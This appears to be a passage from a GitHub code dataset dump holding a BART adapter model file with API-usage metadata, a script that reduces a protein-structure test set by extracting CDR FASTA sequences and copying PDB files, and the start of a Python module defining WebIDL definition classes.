next_cache, all_hidden_states, all_self_attns, all_cross_attentions]\n if v is not None\n )\n return BaseModelOutputWithPastAndCrossAttentions(\n last_hidden_state=hidden_states,\n past_key_values=next_cache,\n hidden_states=all_hidden_states,\n attentions=all_self_attns,\n cross_attentions=all_cross_attentions,\n )\n\nclass BartPlus(BartModel):\n def __init__(self,keyBart: BartForConditionalGeneration, adapter_hid_dim: int ) -> None:\n super().__init__(keyBart.model.config)\n self.config = keyBart.model.config\n\n self.shared = keyBart.model.shared\n self.encoder = keyBart.model.encoder\n self.decoder = BartDecoderPlus(keyBart,adapter_hid_dim=adapter_hid_dim)\n\n def forward(\n self,\n input_ids: torch.LongTensor = None,\n attention_mask: Optional[torch.Tensor] = None,\n decoder_input_ids: Optional[torch.LongTensor] = None,\n decoder_attention_mask: Optional[torch.LongTensor] = None,\n head_mask: Optional[torch.Tensor] = None,\n decoder_head_mask: Optional[torch.Tensor] = None,\n cross_attn_head_mask: Optional[torch.Tensor] = None,\n encoder_outputs: Optional[List[torch.FloatTensor]] = None,\n past_key_values: Optional[List[torch.FloatTensor]] = None,\n inputs_embeds: Optional[torch.FloatTensor] = None,\n decoder_inputs_embeds: Optional[torch.FloatTensor] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, Seq2SeqModelOutput]:\n\n # different to other models, Bart automatically creates decoder_input_ids from\n # input_ids if no decoder_input_ids are provided\n if decoder_input_ids is None and decoder_inputs_embeds is None:\n if input_ids is None:\n raise ValueError(\n \"If no `decoder_input_ids` or `decoder_inputs_embeds` are \"\n \"passed, `input_ids` cannot be `None`. Please pass either \"\n \"`input_ids` or `decoder_input_ids` or `decoder_inputs_embeds`.\"\n )\n\n decoder_input_ids = shift_tokens_right(\n input_ids, self.config.pad_token_id, self.config.decoder_start_token_id\n )\n\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n )\n use_cache = use_cache if use_cache is not None else self.config.use_cache\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if encoder_outputs is None:\n encoder_outputs = self.encoder(\n input_ids=input_ids,\n attention_mask=attention_mask,\n head_mask=head_mask,\n inputs_embeds=inputs_embeds,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n # If the user passed a tuple for encoder_outputs, we wrap it in a BaseModelOutput when return_dict=True\n elif return_dict and not isinstance(encoder_outputs, BaseModelOutput):\n encoder_outputs = BaseModelOutput(\n last_hidden_state=encoder_outputs[0],\n hidden_states=encoder_outputs[1] if len(encoder_outputs) > 1 else None,\n attentions=encoder_outputs[2] if len(encoder_outputs) > 2 else None,\n )\n\n # decoder outputs consists of (dec_features, past_key_value, dec_hidden, dec_attn)\n decoder_outputs = self.decoder(\n input_ids=decoder_input_ids,\n attention_mask=decoder_attention_mask,\n encoder_hidden_states=encoder_outputs[0],\n encoder_attention_mask=attention_mask,\n head_mask=decoder_head_mask,\n cross_attn_head_mask=cross_attn_head_mask,\n past_key_values=past_key_values,\n inputs_embeds=decoder_inputs_embeds,\n use_cache=use_cache,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n if not return_dict:\n return decoder_outputs + encoder_outputs\n\n return Seq2SeqModelOutput(\n last_hidden_state=decoder_outputs.last_hidden_state,\n past_key_values=decoder_outputs.past_key_values,\n decoder_hidden_states=decoder_outputs.hidden_states,\n decoder_attentions=decoder_outputs.attentions,\n cross_attentions=decoder_outputs.cross_attentions,\n encoder_last_hidden_state=encoder_outputs.last_hidden_state,\n encoder_hidden_states=encoder_outputs.hidden_states,\n encoder_attentions=encoder_outputs.attentions,\n )\n\n", "repo_name": "leoxiang66/KeyBartAdapter", "sub_path": "models/keyBartPlus.py", "file_name": "keyBartPlus.py", "file_ext": "py", "file_size_in_byte": 35377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "transformers.models.bart.modeling_bart.BartForConditionalGeneration", "line_number": 47, "usage_type": "name"}, {"api_name": "transformers.AutoModelForSeq2SeqLM.from_pretrained", "line_number": 49, "usage_type": "call"}, {"api_name": "transformers.AutoModelForSeq2SeqLM", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.BartForConditionalGeneration", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 70, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 71, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 100, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 102, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 125, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 140, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 210, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 212, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 213, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "transformers.models.bart.modeling_bart.logger.warning", "line_number": 215, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.logger", "line_number": 215, "usage_type": "name"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 215, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 215, "usage_type": "call"}, {"api_name": "huggingface_hub.hf_hub_download", "line_number": 218, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 220, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 229, "usage_type": "attribute"}, {"api_name": "transformers.models.bart.modeling_bart.logger.warning", "line_number": 230, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.logger", "line_number": 230, "usage_type": "name"}, {"api_name": "huggingface_hub.constants.CONFIG_NAME", "line_number": 230, "usage_type": "name"}, {"api_name": "json.load", "line_number": 234, "usage_type": "call"}, {"api_name": "huggingface_hub.utils.validate_hf_hub_args", "line_number": 130, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 254, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 255, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 257, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 259, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 260, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 261, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 262, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 263, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 266, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 267, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 268, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 269, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 269, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 269, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 270, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 270, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 270, "usage_type": "name"}, {"api_name": "huggingface_hub.hf_api.HfApi", "line_number": 323, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 333, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 334, "usage_type": "call"}, {"api_name": "huggingface_hub.utils.HfFolder.get_token", "line_number": 356, "usage_type": "call"}, {"api_name": "huggingface_hub.utils.HfFolder", "line_number": 356, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 374, "usage_type": "call"}, {"api_name": "os.path", "line_number": 374, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 375, "usage_type": "call"}, {"api_name": "huggingface_hub.hf_api.HfApi", "line_number": 378, "usage_type": "call"}, {"api_name": "huggingface_hub.repository.Repository", "line_number": 386, "usage_type": "call"}, {"api_name": "huggingface_hub.utils.validate_hf_hub_args", "line_number": 249, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 410, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.PYTORCH_WEIGHTS_NAME", "line_number": 410, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 410, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 412, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 432, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 434, "usage_type": "call"}, {"api_name": "os.path", "line_number": 434, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 436, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.PYTORCH_WEIGHTS_NAME", "line_number": 436, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 436, "usage_type": "attribute"}, {"api_name": "huggingface_hub.hf_hub_download", "line_number": 438, "usage_type": "call"}, {"api_name": "huggingface_hub.constants.PYTORCH_WEIGHTS_NAME", "line_number": 440, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 451, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 462, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 463, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 463, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 464, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 464, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 465, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 465, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 466, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 466, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 467, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 467, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 468, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 468, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 469, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 469, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 469, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 470, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 470, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 470, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 471, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 471, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 472, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 472, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 473, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 473, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 474, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 475, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 476, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 477, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.logger.warning", "line_number": 490, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.logger", "line_number": 490, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.shift_tokens_right", "line_number": 493, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 518, "usage_type": "call"}, {"api_name": "transformers.modeling_outputs.Seq2SeqLMOutput", "line_number": 525, "usage_type": "call"}, {"api_name": "transformers.utils.add_start_docstrings_to_model_forward", "line_number": 457, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.BART_INPUTS_DOCSTRING", "line_number": 457, "usage_type": "argument"}, {"api_name": "transformers.utils.replace_return_docstrings", "line_number": 458, "usage_type": "call"}, {"api_name": "transformers.modeling_outputs.Seq2SeqLMOutput", "line_number": 458, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart._CONFIG_FOR_DOC", "line_number": 458, "usage_type": "name"}, {"api_name": "transformers.utils.add_end_docstrings", "line_number": 459, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.BART_GENERATION_EXAMPLE", "line_number": 459, "usage_type": "argument"}, {"api_name": "typing.Union", "line_number": 478, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 478, "usage_type": "name"}, {"api_name": "transformers.modeling_outputs.Seq2SeqLMOutput", "line_number": 478, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.BartDecoder", "line_number": 539, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.BartForConditionalGeneration", "line_number": 540, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 543, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 543, "usage_type": "name"}, {"api_name": "adapter.Adapter", "line_number": 543, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 559, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 560, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 560, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 561, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 561, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 562, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 562, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 563, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 563, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 564, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 564, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 565, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 565, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 565, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 566, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 566, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 567, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 568, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 569, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 570, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart._expand_mask", "line_number": 605, "usage_type": "call"}, {"api_name": "torch.nn.functional.dropout", "line_number": 613, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 613, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 613, "usage_type": "name"}, {"api_name": "random.uniform", "line_number": 634, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.logger.warning", "line_number": 643, "usage_type": "call"}, {"api_name": "transformers.models.bart.modeling_bart.logger", "line_number": 643, "usage_type": "name"}, {"api_name": "torch.utils.checkpoint.checkpoint", "line_number": 655, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 655, "usage_type": "attribute"}, {"api_name": "transformers.modeling_outputs.BaseModelOutputWithPastAndCrossAttentions", "line_number": 706, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 571, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 571, "usage_type": "name"}, {"api_name": "transformers.modeling_outputs.BaseModelOutputWithPastAndCrossAttentions", "line_number": 571, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.BartModel", "line_number": 714, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.BartForConditionalGeneration", "line_number": 715, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 725, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 726, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 726, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 727, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 727, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 728, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 728, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 729, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 729, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 730, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 730, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 731, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 731, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 732, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 732, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 732, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 733, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 733, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 733, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 734, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 734, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 735, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 735, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 736, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 737, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 738, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 739, "usage_type": "name"}, {"api_name": "transformers.models.bart.modeling_bart.shift_tokens_right", "line_number": 752, "usage_type": "call"}, {"api_name": "transformers.modeling_outputs.BaseModelOutput", "line_number": 774, "usage_type": "argument"}, {"api_name": "transformers.modeling_outputs.BaseModelOutput", "line_number": 775, "usage_type": "call"}, {"api_name": "transformers.modeling_outputs.Seq2SeqModelOutput", "line_number": 800, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 740, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 740, "usage_type": "name"}, {"api_name": "transformers.modeling_outputs.Seq2SeqModelOutput", "line_number": 740, "usage_type": "name"}]} {"seq_id": "38565474602", "text": "import argparse\nimport imp\nimport os\nimport sys\nimport logging\nfrom xml.etree.ElementInclude import default_loader\nlogging.basicConfig(level=logging.INFO)\nimport shutil\nimport random\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom collections import defaultdict\n\nimport multiprocessing\nfrom functools import partial\n\nfrom openfold.utils import data_utils\n\n\ndef cdrsfasta_from_truncated_pdbs(\n data_dir,\n output_dir,\n save_single=True,\n max_workers=16,\n):\n job_args = [x for x in os.listdir(data_dir) if x.endswith(\".pdb\")]\n job_args = zip(job_args, list(range(len(job_args))))\n\n with multiprocessing.Pool(max_workers) as p:\n func = partial(data_utils.pdb2cdrsfasta, data_dir=data_dir)\n if save_single:\n fastas = []\n for (ret, basename) in p.starmap(func, job_args):\n fastas.extend(ret)\n trunc_fasta_path = os.path.join(output_dir, \"cdrs.fasta\")\n with open(trunc_fasta_path, \"w\") as f:\n f.write('\\n'.join(fastas))\n else:\n for (ret, basename) in p.starmap(func, job_args):\n trunc_fasta_path = os.path.join(output_dir, f\"{basename}_cdrs.fasta\")\n with open(trunc_fasta_path, \"w\") as f:\n f.write('\\n'.join(ret))\n\n\ndef copy_pdb_to_new_dir(\n pdb_id,\n old_pdb_dir,\n new_pdb_dir,\n old_fasta_dir=None,\n new_fasta_dir=None,\n):\n \"\"\"copy pdb and fasta into a new directory\"\"\"\n old_pdb_path = os.path.join(old_pdb_dir, pdb_id + '.pdb')\n new_pdb_path = os.path.join(new_pdb_dir, pdb_id + '.pdb')\n shutil.copy2(old_pdb_path, new_pdb_path)\n \n if old_fasta_dir is not None and new_fasta_dir is not None:\n old_fasta_path = os.path.join(old_fasta_dir, pdb_id + '.fasta')\n new_fasta_path = os.path.join(new_fasta_dir, pdb_id + '.fasta')\n shutil.copy2(old_fasta_path, new_fasta_path)\n\n\ndef get_cluster_rep(cluster_res):\n cluster_dict = defaultdict(list)\n with open(cluster_res, 'r') as f:\n for line in f:\n k, v = line.strip().split('\\t')\n k = k.rsplit('_', 1)[0]\n v = v.rsplit('_', 1)[0]\n cluster_dict[k].append(v)\n\n cluster_rep = sorted(list(cluster_dict.keys()))\n logging.info(\n f\"get {len(cluster_rep)} cluster representatives\\n\"\n )\n return cluster_rep\n\n\ndef main_get_cdrs(args):\n\n os.makedirs(args.output_dir, exist_ok=True)\n\n # 1.\n cdrsfasta_from_truncated_pdbs(args.input_dir, args.output_dir)\n\n\ndef main_copy_pdbs(args):\n\n os.makedirs(args.output_dir, exist_ok=True)\n\n # 2.\n cluster_rep = get_cluster_rep(args.cluster)\n logging.info(\"copying pdbs...\")\n for pdb in cluster_rep:\n copy_pdb_to_new_dir(\n pdb, args.input_dir, args.output_dir\n )\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--input_dir\", type=str, default=None,\n help=\"Path to a directory containing truncated pdbs\"\n )\n parser.add_argument(\n \"--output_dir\", type=str, default=None,\n help=\"Path to a directory containing truncated fastas\"\n )\n parser.add_argument(\n \"--cluster\", type=str, default=None,\n help=\"Path to a directory containing truncated fastas\"\n )\n args = parser.parse_args()\n\n if args.cluster is None:\n main_get_cdrs(args)\n else:\n main_copy_pdbs(args)", "repo_name": "WANG-CR/JointProteinFolding", "sub_path": "scripts/scripts_sabdab/antigen_agnostic/reduce_testset.py", "file_name": "reduce_testset.py", "file_ext": "py", "file_size_in_byte": 3420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 27, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 30, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 31, "usage_type": "call"}, {"api_name": "openfold.utils.data_utils.pdb2cdrsfasta", "line_number": 31, "usage_type": "attribute"}, {"api_name": "openfold.utils.data_utils", "line_number": 31, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "shutil.copy2", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "shutil.copy2", "line_number": 61, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 74, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 82, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 94, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 101, "usage_type": "call"}]} {"seq_id": "36616881982", "text": "import abc\nimport json\nimport re\n\n\n# Base classes\n\n\nclass BaseIdl:\n \"\"\"Abstract base class, used for JSON serialization.\"\"\"\n __metaclass__ = abc.ABCMeta\n\n @abc.abstractmethod\n def json_serializable(self):\n \"\"\"Returns a JSON serializable form of the object.\n\n This should be a dictionary, with keys scoped names of the form\n Class::key, where the scope is the class name.\n This is so we produce identical output to the Perl code, which uses\n the Perl module JSON.pm, which uses this format.\n \"\"\"\n pass\n\n\nclass TypedObject:\n \"\"\"Object with a type, such as an Attribute or Operation (return value).\n\n The type can be an actual type, or can be a typedef, which must be resolved\n before passing data to the code generator.\n \"\"\"\n __metaclass__ = abc.ABCMeta\n data_type = None\n extended_attributes = None\n\n def resolve_typedefs(self, typedefs):\n \"\"\"Resolve typedefs to actual types in the object.\"\"\"\n additional_extended_attributes = {}\n # Convert string representation to and from an IdlType object\n # to handle parsing\n data_type_object = IdlType.from_string(self.data_type)\n base_type = data_type_object.base_type\n if base_type in typedefs:\n replacement_type = typedefs[base_type]\n data_type_object.base_type = replacement_type.data_type\n additional_extended_attributes = replacement_type.extended_attributes\n self.data_type = str(data_type_object)\n self.extended_attributes.update(additional_extended_attributes)\n\n\n# IDL classes\n\n\nclass IdlDefinitions(BaseIdl):\n def __init__(self, callback_functions=None, enumerations=None, exceptions=None, file_name=None, interfaces=None, typedefs=None):\n self.callback_functions = callback_functions or {}\n self.enumerations = enumerations or {}\n self.exceptions = exceptions or {}\n self.file_name = file_name or None\n self.interfaces = interfaces or {}\n # Typedefs are not exposed by bindings; resolve typedefs with the\n # actual types and then discard the Typedefs.\n # http://www.w3.org/TR/WebIDL/#idl-typedefs\n if typedefs:\n self.resolve_typedefs(typedefs)\n\n def resolve_typedefs(self, typedefs):\n for callback_function in self.callback_functions.itervalues():\n callback_function.resolve_typedefs(typedefs)\n for exception in self.exceptions.itervalues():\n exception.resolve_typedefs(typedefs)\n for interface in self.interfaces.itervalues():\n interface.resolve_typedefs(typedefs)\n\n def json_serializable(self):\n return {\n 'idlDocument::callbackFunctions': self.callback_functions.values(),\n 'idlDocument::enumerations': self.enumerations.values(),\n 'idlDocument::fileName': self.file_name,\n # Perl treats exceptions as a kind of interface\n 'idlDocument::interfaces': sorted(self.exceptions.values() + self.interfaces.values()),\n }\n\n def to_json(self, debug=False):\n \"\"\"Returns a JSON string representing the Definitions.\n\n The JSON output should be identical with the output of the Perl parser,\n specifically the function serializeJSON in deprecated_idl_serializer.pm,\n which takes a Perl object created by deprecated_idl_parser.pm.\n \"\"\"\n # Sort so order consistent, allowing comparison of output\n if debug:\n # indent turns on pretty-printing for legibility\n return json.dumps(self, cls=IdlEncoder, sort_keys=True, indent=4)\n # Use compact separators so output identical to Perl\n return json.dumps(self, cls=IdlEncoder, sort_keys=True, separators=(',', ':'))\n\n\nclass IdlCallbackFunction(BaseIdl, TypedObject):\n def __init__(self, name=None, data_type=None, arguments=None):\n self.data_type = data_type\n self.name = name\n self.arguments = arguments or []\n\n def resolve_typedefs(self, typedefs):\n TypedObject.resolve_typedefs(self, typedefs)\n for argument in self.arguments:\n argument.resolve_typedefs(typedefs)\n raise ValueError('Typedefs in callback functions are untested!')\n\n def json_serializable(self):\n return {\n 'callbackFunction::name': self.name,\n 'callbackFunction::type': self.data_type,\n 'callbackFunction::parameters': self.arguments,\n }\n\n\nclass IdlEnum(BaseIdl):\n def __init__(self, name=None, values=None):\n self.name = name\n self.values = values or []\n\n def json_serializable(self):\n return {\n 'domEnum::name': self.name,\n 'domEnum::values': self.values,\n }\n\n\nclass IdlInterface(BaseIdl):\n def __init__(self, attributes=None, constants=None, constructors=None, custom_constructors=None, extended_attributes=None, operations=None, is_callback=False, is_partial=False, name=None, parent=None):\n self.attributes = attributes or []\n self.constants = constants or []\n self.constructors = constructors or []\n self.custom_constructors = custom_constructors or []\n self.extended_attributes = extended_attributes or {}\n self.operations = operations or []\n self.is_callback = is_callback\n self.is_partial = is_partial\n self.name = name\n self.parent = parent\n\n def resolve_typedefs(self, typedefs):\n for attribute in self.attributes:\n attribute.resolve_typedefs(typedefs)\n for constant in self.constants:\n constant.resolve_typedefs(typedefs)\n for constructor in self.constructors:\n constructor.resolve_typedefs(typedefs)\n for custom_constructor in self.custom_constructors:\n custom_constructor.resolve_typedefs(typedefs)\n for operation in self.operations:\n operation.resolve_typedefs(typedefs)\n\n def json_serializable(self):\n return {\n 'domInterface::attributes': self.attributes,\n 'domInterface::constants': self.constants,\n 'domInterface::constructors': self.constructors,\n 'domInterface::customConstructors': self.custom_constructors,\n 'domInterface::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domInterface::functions': self.operations,\n 'domInterface::isException': None,\n 'domInterface::isCallback': boolean_to_perl(false_to_none(self.is_callback)),\n 'domInterface::isPartial': false_to_none(self.is_partial),\n 'domInterface::name': self.name,\n 'domInterface::parent': self.parent,\n }\n\n\nclass IdlException(BaseIdl):\n def __init__(self, name=None, constants=None, operations=None, attributes=None, extended_attributes=None):\n self.attributes = attributes or []\n self.constants = constants or []\n self.extended_attributes = extended_attributes or {}\n self.operations = operations or []\n self.name = name\n\n def resolve_typedefs(self, typedefs):\n for constant in self.constants:\n constant.resolve_typedefs(typedefs)\n for attribute in self.attributes:\n 